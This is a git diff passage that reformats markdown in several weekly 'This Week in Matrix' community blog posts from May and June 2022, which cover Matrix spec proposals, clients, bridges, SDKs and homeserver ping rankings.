[#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -371,6 +380,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|halogen.city|1599| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2022/05/2022-05-20-this-week-in-matrix-2022-05-20.md b/content/blog/2022/05/2022-05-20-this-week-in-matrix-2022-05-20.md index 3dd7620f4..27e1d8b9e 100644 --- a/content/blog/2022/05/2022-05-20-this-week-in-matrix-2022-05-20.md +++ b/content/blog/2022/05/2022-05-20-this-week-in-matrix-2022-05-20.md @@ -22,12 +22,13 @@ category = ["This Week in Matrix"] [Andrew Morgan (anoa)](https://matrix.to/#/@andrewm:element.io) reports -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > > ## MSC Status > > **New MSCs:** +> > * [MSC3821: Update the redaction rules, again](https://github.com/matrix-org/matrix-spec-proposals/pull/3821) > * [MSC3820: Room version 11](https://github.com/matrix-org/matrix-spec-proposals/pull/3820) > * [MSC3819: Allowing widgets to send/receive to-device messages](https://github.com/matrix-org/matrix-spec-proposals/pull/3819) @@ -35,15 +36,18 @@ category = ["This Week in Matrix"] > * [MSC3817: Allow widgets to create rooms](https://github.com/matrix-org/matrix-spec-proposals/pull/3817) > > **MSCs with Proposed Final Comment Period:** +> > * [MSC3267: Reference relations](https://github.com/matrix-org/matrix-spec-proposals/pull/3267) > * [MSC3604: Room Version 10](https://github.com/matrix-org/matrix-spec-proposals/pull/3604) > * [MSC2676: Message editing](https://github.com/matrix-org/matrix-spec-proposals/pull/2676) 🎉 > * [MSC3816: Clarify Thread Participation](https://github.com/matrix-org/matrix-spec-proposals/pull/3816) > > **MSCs in Final Comment Period:** +> > * *No MSCs are in FCP.* > > **Merged MSCs:** +> > * [MSC3787: Allowing knocks to restricted rooms](https://github.com/matrix-org/matrix-spec-proposals/pull/3787) > > ## Spec Updates @@ -59,6 +63,7 @@ category = ["This Week in Matrix"] > Homeservers currently make use of Client Server Media APIs to pull media from other homeservers over federation. This has worked for a long time, but is a bit of a confusing blur of the lines between client<->server and server<->server traffic. It also makes it difficult to require different authentication rules for clients versus servers. > > This MSC aims to help clean that up. Take a look if you're interested! +> > ![](/blog/img/spec-20220522.png) ## Dept of GSoC 🎓️ @@ -101,11 +106,11 @@ A multi purpose multi platform bridge, formerly known as matrix-github > > [Last week](https://github.com/matrix-org/matrix-hookshot/releases/tag/1.7.0) new version of Hookshot came out starring the following changes: > -> - Docker images can now be built cross-platform. Thanks Paul for getting arm64 builds going! -> - Improved GitLab push hook formatting: markdown commit hashes, link "N commits" to the list of commits, if there are more commits than can be shown only link instead, and show committer unless a single person committed and pushed -> - RSS feed support got a configuration widget: now need for using bot commands anymore! (though they are still supported) -> - Added `widgets.openIdOverrides` option to help developers test configuration widgets locally -> - Fixed regression where GitHubRepo and GitLabRepo connection config options were not being honoured +> * Docker images can now be built cross-platform. Thanks Paul for getting arm64 builds going! +> * Improved GitLab push hook formatting: markdown commit hashes, link "N commits" to the list of commits, if there are more commits than can be shown only link instead, and show committer unless a single person committed and pushed +> * RSS feed support got a configuration widget: now need for using bot commands anymore! (though they are still supported) +> * Added `widgets.openIdOverrides` option to help developers test configuration widgets locally +> * Fixed regression where GitHubRepo and GitLabRepo connection config options were not being honoured > > and more! Visit [#hookshot:half-shot.uk](https://matrix.to/#/#hookshot:half-shot.uk) to follow the development in real-time. @@ -122,9 +127,9 @@ A Matrix-KakaoTalk puppeting bridge. > * **Better error handling:** if the backend hits an error that causes your connection to KT chats to be dropped, the bridge should notify you about it (not that it should ever happen in the first place, but you never know!) > * **Better logging:** the Node module can be configured to print the arguments of RPC commands received from / sent to the Python module. The example Node config includes a default set that should be helpful for general debugging. > * **Room metadata bridging:** setting an Open Chat title & topic from Matrix should work now! -> - Setting the title of a Direct Chat should work too, but topics remain unbridged (since KT Direct Chats don't have topics/descriptions) +> * Setting the title of a Direct Chat should work too, but topics remain unbridged (since KT Direct Chats don't have topics/descriptions) > * **Defensive error handling:** Attempts to add a non-friend user to a DM will be refused by the bridge, since KT only allows Direct Chats between friends -> - KT does allow "1:1 Open Chats" between non-friends, but those aren't bridged yet +> * KT does allow "1:1 Open Chats" between non-friends, but those aren't bridged yet > > Also, `testing` adds support for joining KakaoTalk rooms from Matrix, either by joining an existing portal or providing an Open Chat URL to the bot with a `join` command. ...However, I've been unable to test this, since KT is stingy about whom it allows to join Open Chats! So please give this a try if you can. > @@ -137,8 +142,8 @@ A Matrix-KakaoTalk puppeting bridge. > --- > > * Discussion: [#matrix-appservice-kakaotalk:miscworks.net](https://matrix.to/#/#matrix-appservice-kakaotalk:miscworks.net) -> * Testing room: [#kakaotalk-bridge-testing:miscworks.net](https://matrix.to/#/#kakaotalk-bridge-testing:miscworks.net) / https://open.kakao.com/o/gjGQFuae -> * Issue page: https://src.miscworks.net/fair/matrix-appservice-kakaotalk/issues +> * Testing room: [#kakaotalk-bridge-testing:miscworks.net](https://matrix.to/#/#kakaotalk-bridge-testing:miscworks.net) / +> * Issue page: ### matrix-appservice-discord ([website](https://github.com/matrix-org/matrix-appservice-discord)) @@ -187,6 +192,7 @@ A client for matrix, the decentralized communication protocol [Tobias Fella](https://matrix.to/#/@tobiasfella:kde.org) says > In the last weeks, we've landed a few smaller features and papercut fixes in NeoChat: +> > * Urls will now more often be shown as links > * A couple of input processing bugs have been fixed, which lead, among others, to fewer broken ASCII emojis :) > * Clicking on a notification will now properly open NeoChat even on wayland 🥳 @@ -232,6 +238,7 @@ Secure and independent communication, connected via Matrix. Come talk with us in > * Minor improvements to copy and layout for video rooms, and improve removing stuck devices > * More [polishing of context menus](https://github.com/matrix-org/matrix-react-sdk/pull/6775) > +> > ![](/blog/img/ZKKKtEMGJnEdbQQcerzjscmB.png) ### Element iOS ([website](https://github.com/vector-im/element-ios)) @@ -241,6 +248,7 @@ Secure and independent communication for iOS, connected via Matrix. Come talk wi [Ștefan](https://matrix.to/#/@stefan.ceriu:matrix.org) says > **Element iOS** +> > * We have a release candidate available that squashes quite a few problematic bugs > * Mention pills have been improved and are now better than ever > * Work is continuing on the new authentication flows and live location sharing @@ -262,6 +270,7 @@ Secure and independent communication for Android, connected via Matrix. Come tal > * [Release 1.4.16 is out](https://github.com/vector-im/element-android/issues/6100). Should be available in production at the beginning of next week. Sadly this release will not be available on F-Droid. > * [FTUE screens are nearly finished](https://github.com/vector-im/element-android/pull/5868). We are implementing the latest ones. For instance Email input and validation. > * Also still working on the integration of the crypto Rust SDK. We are at a point of fixing the remaining issues. +> > ![](/blog/img/EUquvdiVDNBSIZbcWQSWKopz.png) ### Cinny ([website](https://cinny.in)) @@ -271,6 +280,7 @@ Cinny is a Matrix client focused on simplicity, elegance and security [Lozenge](https://matrix.to/#/@kfiven:matrix.org) says > Cinny v2.0.3 - What's changed +> > * Add the ability to focus on paste > * Add allowCustomHomeservers config option > * Fix crash in a room without m.room.create state event @@ -278,7 +288,7 @@ Cinny is a Matrix client focused on simplicity, elegance and security > * Fix join room with alias > * Fix crash on leaving room > -> Find more about Cinny at https://cinny.in/ · Join our room: [#cinny:matrix.org](https://matrix.to/#/#cinny:matrix.org) · Github: https://github.com/ajbura/cinny · Twitter: https://twitter.com/@cinnyapp +> Find more about Cinny at · Join our room: [#cinny:matrix.org](https://matrix.to/#/#cinny:matrix.org) · Github: · Twitter: ## Dept of Non Chat Clients 🎛️ @@ -296,6 +306,7 @@ A Social Annotation Tool Powered by Matrix > * Support for video annotations, following [MSC3775: Markup Locations for Audiovisual Media](https://github.com/matrix-org/matrix-spec-proposals/pull/3775) > > Here's a demo video of video annotation, and a screenshot of the new landing page: +> > ![](/blog/img/YkXVkVIjckXoUjXrEDfYieLg.png) {{ youtube_player(video_id="6kx7YIXXnVQ") }} @@ -314,7 +325,7 @@ A widget for moderating with mjolnir. Highly WIP. Use at your own risk! > * The ban list view now also shows the room id of the room the ban is from. (it will get extended to be an alias at some point. This is planned) > * Dependencies have been updated. > -> Check it out at https://github.com/MTRNord/matrix-moderation-widget or join [#mjolnir-widget:nordgedanken.dev](https://matrix.to/#/#mjolnir-widget:nordgedanken.dev) if you have any questions. +> Check it out at or join [#mjolnir-widget:nordgedanken.dev](https://matrix.to/#/#mjolnir-widget:nordgedanken.dev) if you have any questions. ## Dept of SDKs and Frameworks 🧰 @@ -352,7 +363,7 @@ Matrix SDK written in pure Dart and maintained by [famedly.com](https://famedly. [Samuel Philipp](https://matrix.to/#/@samuel.philipp:ossrox.org) says -> We are proud to announce that Ossrox is now listed as a hosting provider on matrix.org! 😍 We offer Matrix Home Servers via https://ossrox.org - for the time being only in the German-speaking area. We are dedicated to hosting open-source software and also offer other services in the messaging, groupware and web meeting segments. If you got any questions, just reach out to us at [#public:ossrox.org](https://matrix.to/#/#public:ossrox.org). +> We are proud to announce that Ossrox is now listed as a hosting provider on matrix.org! 😍 We offer Matrix Home Servers via - for the time being only in the German-speaking area. We are dedicated to hosting open-source software and also offer other services in the messaging, groupware and web meeting segments. If you got any questions, just reach out to us at [#public:ossrox.org](https://matrix.to/#/#public:ossrox.org). ## Dept of Interesting Projects 🛰️ @@ -360,13 +371,14 @@ Matrix SDK written in pure Dart and maintained by [famedly.com](https://famedly. > Hello Matrix friends. We have recently launched an online learning platform that has Element at its core. We added some great features such as annotations for both course material and web pages. Here is an overview video of what we are doing. > -> https://www.youtube.com/watch?v=rY3safwbllQ +> ## Dept of Ping 🏓 Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -383,6 +395,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|phorcys.net|1395| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2022/05/2022-05-27-this-week-in-matrix-2022-05-27.md b/content/blog/2022/05/2022-05-27-this-week-in-matrix-2022-05-27.md index 80fb53bee..b609fc578 100644 --- a/content/blog/2022/05/2022-05-27-this-week-in-matrix-2022-05-27.md +++ b/content/blog/2022/05/2022-05-27-this-week-in-matrix-2022-05-27.md @@ -28,7 +28,7 @@ The 16th edition of our virtual meetup Open Tech Will Save Us happened this week [Andrew Morgan (anoa)](https://matrix.to/#/@andrewm:element.io) reports -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > ## MSC Status > @@ -44,7 +44,7 @@ The 16th edition of our virtual meetup Open Tech Will Save Us happened this week > > **Merged MSCs:** > -> * _No MSCs were merged this week._ +> * *No MSCs were merged this week.* > > ## Spec Updates > @@ -58,6 +58,7 @@ The 16th edition of our virtual meetup Open Tech Will Save Us happened this week > > This MSC needs someone to write an implementation in at least one homeserver and client to move forwards. Perhaps that someone could be you? > +> > ![](/blog/img/stacked_area_chart.png) ## Dept of Servers 🏢 @@ -92,7 +93,7 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t > * purge history of theses rooms > * shutdown rooms > -> https://git.fout.re/pi/matrixadminhelpers +> > > It's my first python project, so the code may not structured as it should, I'm still learning, and it's early alpha :) @@ -129,6 +130,7 @@ Desktop client for Matrix using Qt and C++17. > We added a way to edit permissions in Nheko now. It is an unconventional drag and drop dialog, where you drag users and permissions between different roles. We are hoping that this will make powerlevels easier to understand. Be careful when trying it, the wrong powerlevels might make your room unusable. Now... the bad part about that is, that powerlevels add around 50-100 new strings to translate... Help is appreciated! <3 > > Nheko now also supports fallback keys, which should make E2EE more reliable after long periods of being offline and you can send images by pressing enter again. The privacy screen is also now fixed for separate room windows and our flatpak supports more image formats. +> > ![](/blog/img/JJnXbymlMHyEIcqsQDRdguvr.png) ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -178,14 +180,16 @@ Everything related to Element but not strictly bound to a client > Hello and happy Friday! > > **Threads** +> > * Threads are still in progress as we continue to make progress on the notifications and sort/ordering work that remains. > * In order for notifications to work better, we need read receipts to be updated. We’ve got several MSCs ongoing, along with a few Proof of Concepts (PoCs) to move us forward. -> - MSC3771: Read receipts for threads -> - MSC3772: Push rule for mutually related events -> - MSC3773: Notifications for threads +> * MSC3771: Read receipts for threads +> * MSC3772: Push rule for mutually related events +> * MSC3773: Notifications for threads > * With that we’ve also updated some layouts and completed some bug fixes, on all platforms. > > **Community testing** +> > * Keep your eyes peeled on [#element-community-testing:matrix.org](https://matrix.to/#/#element-community-testing:matrix.org) for more info on our next testing sessions. ## Dept of SDKs and Frameworks 🧰 @@ -206,21 +210,21 @@ A set of Rust library crates for working with the Matrix protocol. Ruma’s appr > Since our last update from about a month ago, we had two bugfix releases: > -> - Ruma 0.6.2 added methods to get the current room powerlevels from a `StrippedPowerLevelsEvent` and to get a user's membership whether the state event is redacted or not, and added a missing export to track member changes. -> - Ruma 0.6.3 fixed the serialization and deserialization of events with a dynamic `event_type` and added convenience constructors for logging in with a `UserIdentifier`. +> * Ruma 0.6.2 added methods to get the current room powerlevels from a `StrippedPowerLevelsEvent` and to get a user's membership whether the state event is redacted or not, and added a missing export to track member changes. +> * Ruma 0.6.3 fixed the serialization and deserialization of events with a dynamic `event_type` and added convenience constructors for logging in with a `UserIdentifier`. > -> We have also landed a bunch of internal work: +> We have also landed a bunch of internal work: > -> - Improvement in our macros, notably to [support unstable prefixes for event types](https://github.com/ruma/ruma/pull/1109). -> - Some cleanup like removing some dead code, removing unnecessary `PartialEq` implementations, and fixing missing feature flags. -> - The [minimum supported rust version is now 1.59](https://github.com/ruma/ruma/pull/1109/commits/1cae9d253bb43c9ad8699cd3b59b89da23bd0e73) and we use the [Rust 2021 Edition](https://github.com/ruma/ruma/pull/1137). -> - We started to [refactor our tests](https://github.com/ruma/ruma/pull/1132) to have more helpful failure messages. +> * Improvement in our macros, notably to [support unstable prefixes for event types](https://github.com/ruma/ruma/pull/1109). +> * Some cleanup like removing some dead code, removing unnecessary `PartialEq` implementations, and fixing missing feature flags. +> * The [minimum supported rust version is now 1.59](https://github.com/ruma/ruma/pull/1109/commits/1cae9d253bb43c9ad8699cd3b59b89da23bd0e73) and we use the [Rust 2021 Edition](https://github.com/ruma/ruma/pull/1137). +> * We started to [refactor our tests](https://github.com/ruma/ruma/pull/1132) to have more helpful failure messages. > -> And there are of course new fixes and features for our next release: +> And there are of course new fixes and features for our next release: > -> - Make sure that [push rules don't apply to the user's own events](https://github.com/ruma/ruma/pull/1114) -> - Add support for [MSC3700: Ignore `content.sender_key`](https://github.com/ruma/ruma/pull/1112) -> - Implement [MSC3381: Polls](https://github.com/ruma/ruma/pull/1131) +> * Make sure that [push rules don't apply to the user's own events](https://github.com/ruma/ruma/pull/1114) +> * Add support for [MSC3700: Ignore `content.sender_key`](https://github.com/ruma/ruma/pull/1112) +> * Implement [MSC3381: Polls](https://github.com/ruma/ruma/pull/1131) ### matrix-rust-sdk ([website](https://github.com/matrix-org/matrix-rust-sdk)) @@ -252,7 +256,7 @@ Matrix SDK written in pure Dart. [saces](https://matrix.to/#/@saces:c-base.org) reports -> # Matrix User Meetup Berlin +> ### Matrix User Meetup Berlin > > Next Matrix user meetup 1.6.2022, 8 pm @ c-base > diff --git a/content/blog/2022/06/2022-06-03-this-week-in-matrix-2022-06-03.md b/content/blog/2022/06/2022-06-03-this-week-in-matrix-2022-06-03.md index 04e8eb0a2..eb77e424e 100644 --- a/content/blog/2022/06/2022-06-03-this-week-in-matrix-2022-06-03.md +++ b/content/blog/2022/06/2022-06-03-this-week-in-matrix-2022-06-03.md @@ -20,31 +20,35 @@ image = "https://matrix.org/blog/img/InYeROTYQkHyYHPvroBhbaln.png" [TravisR](https://matrix.to/#/@travis:t2l.io) reports > Hey all, it's been a holiday for much of the team this week, so from the plane of Maple trees I present to you the spec update. -> -> The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals -> +> +> The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at +> > ## MSC Status -> +> > **Merged MSCs:** +> > * [MSC3604: Room Version 10](https://github.com/matrix-org/matrix-spec-proposals/pull/3604) -> +> > **MSCs in Final Comment Period:** +> > * [MSC3816: Clarify Thread Participation](https://github.com/matrix-org/matrix-spec-proposals/pull/3816) (merge) -> +> > **New MSCs:** +> > * [MSC3828: Content Repository CORP Headers](https://github.com/matrix-org/matrix-spec-proposals/pull/3828) > * [MSC3827: Filtering of `/publicRooms` by room type](https://github.com/matrix-org/matrix-spec-proposals/pull/3827) -> +> > ## Spec Core Team -> +> > In terms of Spec Core Team MSC focus for this week, we've been working on getting Matrix 1.3 out the door and generally working towards a better process for handling releases alongside critical proposals for the protocol. The goal is to be able to ship these major features while reducing the risk of a release falling behind. Watch this space for more details as this should result in MSCs getting through the process a little bit quicker. -> +> > For Matrix 1.3, we're targeting **Thursday, June 16th, 2022** as our release date, though this comes with a small asterisk: we're looking to land quite a lot of stuff so might have to adjust the date once more as needed. We do feel reasonably confident in the date though - watch for blog posts titled Matrix 1.3 in the coming weeks. -> +> > ## Random MSC of the week -> +> > The script has chosen [MSC2846 - Decentralizing media through CIDs](https://github.com/matrix-org/matrix-spec-proposals/pull/2846) as your random MSC this week. The MSC raises an interesting question about how to make media more akin to events in Matrix. If you're interested in this area, take a read of it and the related MSCs. > +> > ![](/blog/img/c8eba633617b20d31b941a2f6c0e858a024706ad.png) ## Dept of GSoC 🎓️ @@ -54,9 +58,9 @@ image = "https://matrix.org/blog/img/InYeROTYQkHyYHPvroBhbaln.png" [burgers](https://matrix.to/#/@burgers:matrix.org) says > Hey there, I'm Aditya Rajput (aka [BURG3R5](https://github.com/BURG3R5)), a sophomore at IIT Roorkee, India. This summer I'll be working on implementing **encrypted Search in Matrix rooms**. More details about this project can be found [here](https://summerofcode.withgoogle.com/programs/2022/projects/xjCmlvMW). Once a week, I'll be blogging about my progress (plus some neat stuff I find during research) in [this blog](https://burgers-gsoc.blogspot.com/). Technical discussion and more frequent updates can be found in the public room [#encrypted-search:matrix.org](https://matrix.to/#/#encrypted-search:matrix.org). -> +> > While writing my GSoC proposal, I'd already made some progress w.r.t. the actual code required for this project, and my preliminary implementation can be found [here](https://github.com/BURG3R5/sse-experiments). -> +> > Looking forward to working in this ecosystem with you all! ### Kazv Project @@ -71,13 +75,13 @@ image = "https://matrix.org/blog/img/InYeROTYQkHyYHPvroBhbaln.png" > Hey there! > I'm Binesh Munukurthi, a Computer Science student from India. I'll be working on the **3rd Party Authorised Room Membership** project for this year's GSoC. -> +> > This project aims to develop an application that has the ability to delegate membership of a room based on a user’s interaction with other third party services. > For more details on what I'll be implementing, please refer to the [link](https://summerofcode.withgoogle.com/programs/2022/projects/ZZVMyBIc) -> +> > I'll be posting my weekly updates [here](https://kuries-gsoc.blogspot.com/) > If you are interested in knowing more about the project's progress, feel free to join the public room [#matrix-cerberus:cadair.com](https://matrix.to/#/#matrix-cerberus:cadair.com). -> +> > I look forward to spending a wonderful summer with you all! > Thanks! @@ -97,7 +101,8 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t [Shay](https://matrix.to/#/@shayshay:matrix.org) says > This week was a short one, but work continues on fast room joins, testing Synapse with workers on Complement, -> and increasing the efficiency of Synapse with regard to database i/o. In addition, we released v1.60.0 (https://github.com/matrix-org/synapse/releases), which includes +> and increasing the efficiency of Synapse with regard to database i/o. In addition, we released v1.60.0 (), which includes +> > * work to reduce the possibility of database corruption > * a fix to a bug introduced in Synapse 1.60.0rc1 that would break some imports from `synapse.module_api` @@ -108,12 +113,12 @@ Second generation Matrix homeserver [Till](https://matrix.to/#/@s7evink:matrix.org) reports > This week we released [Dendrite 0.8.7](https://github.com/matrix-org/dendrite/releases/tag/v0.8.7)! This is a **highly recommended** update since it fixes some fairly large bugs: -> +> > * Support added for room version 10 > * A number of state handling bugs have been fixed, which previously resulted in missing state events, unexpected state deletions, reverted memberships and unexpectedly rejected/soft-failed events in some specific cases > * Fixed destination queue performance issues as a result of missing indexes, which speeds up outbound federation considerably > * A bug which could cause the `/register` endpoint to return HTTP 500 has been fixed -> +> > As always, please feel free to join us in the [#dendrite:matrix.org](https://matrix.to/#/#dendrite:matrix.org) room for more discussion! ## Dept of Clients 📱 @@ -122,8 +127,8 @@ Second generation Matrix homeserver [JFA](https://matrix.to/#/@alariej:matrix.org) announces -> Quadrix is a single-codebase, multi-platform project, using the meanwhile deprecated ReactXP framework (Microsoft's answer to Flutter), which compiles to iOS, Android, and web/Electron. The Quadrix apps are available in the main app stores for mobiles and desktops (including Snapcraft and Flathub). Repo is at https://github.com/alariej/quadrix. Would be great to have a few people test the apps and leave feedback in the repo or in the (still empty) [#quadrix:matrix.org](https://matrix.to/#/#quadrix:matrix.org) room! -> +> Quadrix is a single-codebase, multi-platform project, using the meanwhile deprecated ReactXP framework (Microsoft's answer to Flutter), which compiles to iOS, Android, and web/Electron. The Quadrix apps are available in the main app stores for mobiles and desktops (including Snapcraft and Flathub). Repo is at . Would be great to have a few people test the apps and leave feedback in the repo or in the (still empty) [#quadrix:matrix.org](https://matrix.to/#/#quadrix:matrix.org) room! +> > Important: Quadrix doesn't support E2EE yet, but it's on the TODO. ### Element iOS ([website](https://github.com/vector-im/element-ios)) @@ -155,8 +160,9 @@ Cinny is a Matrix client focused on simplicity, elegance and security [Lozenge](https://matrix.to/#/@kfiven:matrix.org) reports > Cinny v2.0.4 -> +> > ### What's changed +> > * Fix emoji autocomplete in some cases > * Hide verify button if Cross-Signing is not enabled > * Add support for building docker image for linux/arm64 @@ -164,8 +170,8 @@ Cinny is a Matrix client focused on simplicity, elegance and security > * Add dev-tools to production builds of desktop app > * Fix copy-paste not working on macOS in desktop app > * [Flatpak package](https://flathub.org/apps/details/in.cinny.Cinny) for the desktop app -> -> Find more about Cinny at https://cinny.in/ · Join our channel at: [#cinny:matrix.org](https://matrix.to/#/#cinny:matrix.org) · Github: https://github.com/ajbura/cinny · Twitter: https://twitter.com/@cinnyapp +> +> Find more about Cinny at · Join our channel at: [#cinny:matrix.org](https://matrix.to/#/#cinny:matrix.org) · Github: · Twitter: ## Dept of Non Chat Clients 🎛️ @@ -176,14 +182,15 @@ A Social Annotation Tool Powered by Matrix [gleachkr](https://matrix.to/#/@gleachkr:matrix.org) says > The last two weeks have been focused mainly on nuts-and bolts improvements to user experience, rather than any big new pieces of functionality. We've: -> +> > 1. Added upload previews for PDFs and audiovisual media, so you can confirm you're uploading the right thing before creating a discussion. > 2. Added a method to precompute PCM data for more accurate waveforms in audiovisual-media-based discussions. > 3. Allowed for join rules and annotation visibility to be modified separately in settings > 4. Added support for URLs linking directly to particular events -> +> > As always, if you're interested in social annotation on matrix, come join us at [#opentower:matrix.org](https://matrix.to/#/#opentower:matrix.org)! -> +> +> > ![](/blog/img/InYeROTYQkHyYHPvroBhbaln.png) ## Dept of VoIP 🤙 @@ -195,11 +202,11 @@ Native Decentralised End-to-end Encrypted Group Calls in Matrix, as a standalone [Matthew](https://matrix.to/#/@matthew:matrix.org) reports > We've had breakthroughs this week on implementing a native Matrix SFU (selective forwarding unit) which speaks [MSC3401](https://github.com/matrix-org/matrix-spec-proposals/pull/3401), thanks to [Sean DuBois](https://siobud.com/) - all round WebRTC superstar, project lead for the [Pion](https://github.com/pion/webrtc) WebRTC implementation for Go, and author of [WebRTC for the curious](https://webrtcforthecurious.com/). -> -> Sean generously contributed an initial proof of concept to show how you'd build an MSC3401 SFU using Pion at https://github.com/matrix-org/sfu-to-sfu - which (I think?) is the first time that the first implementation of a major core MSC has been contributed from outside the core team. Huge thanks to Sean to setting the ball going on this - the current PoC demonstrates not just SFU capability but also the decentralised cascading architecture which makes MSC3401 unique. The initial PoC speaks a 'test jig' version of MSC3401 hooked up to a simple web client for experimentation, but Matthew's now experimenting with adding [genuine Matrix support](https://github.com/matrix-org/sfu-to-sfu/pull/10) to it via mautrix-go, and [hooking up Element Call](https://github.com/matrix-org/matrix-js-sdk/pull/2423) to speak to it. -> +> +> Sean generously contributed an initial proof of concept to show how you'd build an MSC3401 SFU using Pion at - which (I think?) is the first time that the first implementation of a major core MSC has been contributed from outside the core team. Huge thanks to Sean to setting the ball going on this - the current PoC demonstrates not just SFU capability but also the decentralised cascading architecture which makes MSC3401 unique. The initial PoC speaks a 'test jig' version of MSC3401 hooked up to a simple web client for experimentation, but Matthew's now experimenting with adding [genuine Matrix support](https://github.com/matrix-org/sfu-to-sfu/pull/10) to it via mautrix-go, and [hooking up Element Call](https://github.com/matrix-org/matrix-js-sdk/pull/2423) to speak to it. +> > Adding SFU support to Element Call will mean that we can support more than ~7 simultaneous calls - and with MSC3401-style decentralised cascading, we should be able to support hundreds or even thousands. There's lots of work remaining here, but the ball is now rolling. For more info about SFUs and MSC3401, check out Matthew's [CommCon 2021 talk](https://2021.commcon.xyz/talks/extending-matrix-s-e2ee-calls-to-multiparty) (which was what prompted Sean's implementation work here!) -> +> > Separately, we've been running Element Call on staging with E2EE enabled for the last few weeks, and should be releasing the first major Element Call update next week. And once SFUs land, then Element Call can exit beta - watch out Zoom! ## Dept of SDKs and Frameworks 🧰 @@ -217,7 +224,7 @@ Matrix Client-Server SDK for Rust [ben](https://matrix.to/#/@gnunicorn:matrix.org) says > While most of the work in the background continues (Sliding-Sync PoC, Wasm+NodeJS support, UniFFI macros), the first few parts surface through the cracks and show themselves in new PRs: [basic wasm web-js and nodejs support has landed](https://github.com/matrix-org/matrix-rust-sdk/pull/675) with [more APIs](https://github.com/matrix-org/matrix-rust-sdk/pull/721), tests and documentation on the way; the [Sliding Sync PoC](https://github.com/matrix-org/matrix-rust-sdk/pull/728) has been upgraded to the latest JSON layout and now provides a first set of reactive API via FFI, too. Furthermore this week has seen a bunch of [cleanups](https://github.com/matrix-org/matrix-rust-sdk/pull/716), [simplifications](https://github.com/matrix-org/matrix-rust-sdk/pull/717) and [clarifications](https://github.com/matrix-org/matrix-rust-sdk/pull/712) around the OlmMachine and crypto types, and we're [fixing a bug in the state store](https://github.com/matrix-org/matrix-rust-sdk/pull/729), where not all data has been properly encrypted in the past. -> +> > 👉️ Wanna hack on matrix rust? Go check out our [`help wanted` tagged issues](https://github.com/matrix-org/matrix-rust-sdk/issues?q=is%3Aissue+is%3Aopen+label%3A%22help+wanted%22) and join our matrix channel at [#matrix-rust-sdk:matrix.org](https://matrix.to/#/#matrix-rust-sdk:matrix.org). ### Matrix Dart SDK ([website](https://github.com/famedly/matrix-dart-sdk)) @@ -227,15 +234,15 @@ Matrix SDK written in pure Dart and maintained by [Famedly](https://famedly.com/ [Henri Carnot](https://matrix.to/#/@henri_carnot:famedly.de) announces > Dart Matrix SDK : Version 0.9.9 -> +> > This week, the team released [version 0.9.9](https://pub.dev/packages/matrix/versions/0.9.9). In this new version, we added a search function to allow searching for an event in database and on server through several requests to the `/messages` endpoint. -> +> > There was also some work on updating the image size when generating thumbnail, which allow saving a bit of calculation when sending events. If using a custom resizer make sure to update the resize response as [here](https://github.com/famedly/matrix-dart-sdk/-/snippets/2342277). -> +> > We also did some refactor with the event sender getter. The getter result is now a future to allow requesting the member event to the server if we cannot find it in memory, to help fix the issue when the user was not found in memory. -> +> > Finally, a quick helper function (`client.waitForSync`) was added. It allows you to wait for a room to appear in (left, join, invited) section of the sync response. -> +> > See you next time ;) ## Dept of Bots 🤖 @@ -247,15 +254,15 @@ The highly configurable message aggregation and filtering bot for matrix! [Sleuth](https://matrix.to/#/@sleuth:rexrobotics.org) announces > Only a small update this week. One new feature and some much needed Ansible improvements. -> -> Pipes move messages from one room to an other. Useful if you are in important rooms but only want to monitor a single room. +> +> Pipes move messages from one room to an other. Useful if you are in important rooms but only want to monitor a single room. > The Ansible role can now manage more aspects of MCM. Mainly in the post setup phase. The major one being if you run into encryption errors for any reason you can run the playbook with the fix tag and it will generate you a new device ID and encryption store. -> +> > * Pipes move all messages from one room to an other. > * Adding a filter now uses the room the command was sent from by default if the roomid is not specified. > * Ansible role now has tags for start, stop, configs, fix and all. > * Ansible role backs up the configuration.toml file to prevent the possibility of data loss. -> +> > [Gitlab releases](https://gitlab.com/Sleuth56/Matrix-Community-Manager/-/releases) > Come chat on [Matrix](https://matrix.to/#/#Matrix-Community-Manager:matrix.org) @@ -264,6 +271,7 @@ The highly configurable message aggregation and filtering bot for matrix! Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. 